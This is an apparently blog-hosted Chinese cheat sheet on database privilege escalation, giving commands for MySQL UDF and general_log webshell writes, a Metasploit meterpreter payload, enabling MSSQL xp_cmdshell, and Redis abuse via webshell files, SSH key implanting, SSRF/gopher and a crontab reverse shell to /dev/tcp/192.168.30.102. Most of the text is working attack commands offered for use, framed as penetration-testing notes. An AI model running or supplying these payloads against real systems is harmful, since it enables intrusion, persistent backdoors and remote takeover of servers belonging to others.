数据库提权总结

Mysql提权

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

前提:

1.UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32

(3)掌握的mysql数据库的账号有对mysqlinsertdelete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

复制代码
 secure_file_priv为空

show global variables like 'secure%';
    当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

提权步骤:获取密码-开启外联-高版本创建目录-MSF导出dll

Mysql版本查询命令

复制代码
SELECT @@version`、`SELECT  version();

Mysql写马

复制代码
set global general_log = ON;开启日志
set global general_log_file = "C:/phpstudy_pro/WWW/shell.php"
select '<?php eval($_POST[shell]);?>'

提权方法

复制代码
select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%';  //寻找mysql安装路径
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION; //开启外联

利用MSF的exploit/multi/mysql/mysql_udf_payload导出udf dll文件

复制代码
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (这里更换了靶机)
run

 
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll

使用方法:

复制代码
select sys_eval("whoami");//调用函数进行命令执行

MSSQL

1.使用xp_cmdshell进行提权

如果用户拥有管理员sa权限则可以用sp_configure重修开启它

启用xp_cmdshell

复制代码
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭

复制代码
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行

复制代码
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

Oracle- 普通用户&注入提升模式&DBA模式

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

3、注入提升模式:(Sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

redis

1.利用redis写入webshell

前提条件

  • 可以成功远程连接,并且未作登录验证

  • 知道网站的绝对路径,并且具有写入权限
    连接redis

    redis-cli -h 10.0.20.99
    config set dir /opt/lampp/htdocs/temp
    config set dbfilename redis.php
    set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>"

2 写入SSH公钥

复制代码
ssh-keygen -t rsa  //生成RSA公私钥
(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt  //将生成的公钥添加换行输出为1.txt
config set dir /root/.ssh  //修改redis路径为ssh的公钥路径
config set dbfilename authorized_keys  //修改文件名
cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x
ssh -i id_rsa root@192.168.30.103  //写入公钥文件
ssh -i id_rsa root@192.168.30.103  //成功登录靶机

3.利用crontab反弹shell

redis写入定时计划

复制代码
config set dir /var/spool/cron  //修改redis路径为crontab的路径
config set dbfilename root  //修改文件名,修改完记得save一下
set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"
//写入定时计划

4.SSRF&Gopher&Redis

如果Redis在内网,无法直接访问,可以通过SSRF访问利用

gopher协议支持发出GET、POST请求:可以先获取get请求包和post请求包,再构成符合gopher协议的请求。

gopher协议格式

复制代码
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

4.redis主从复制RCE

相关推荐
天荒地老笑话么6 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf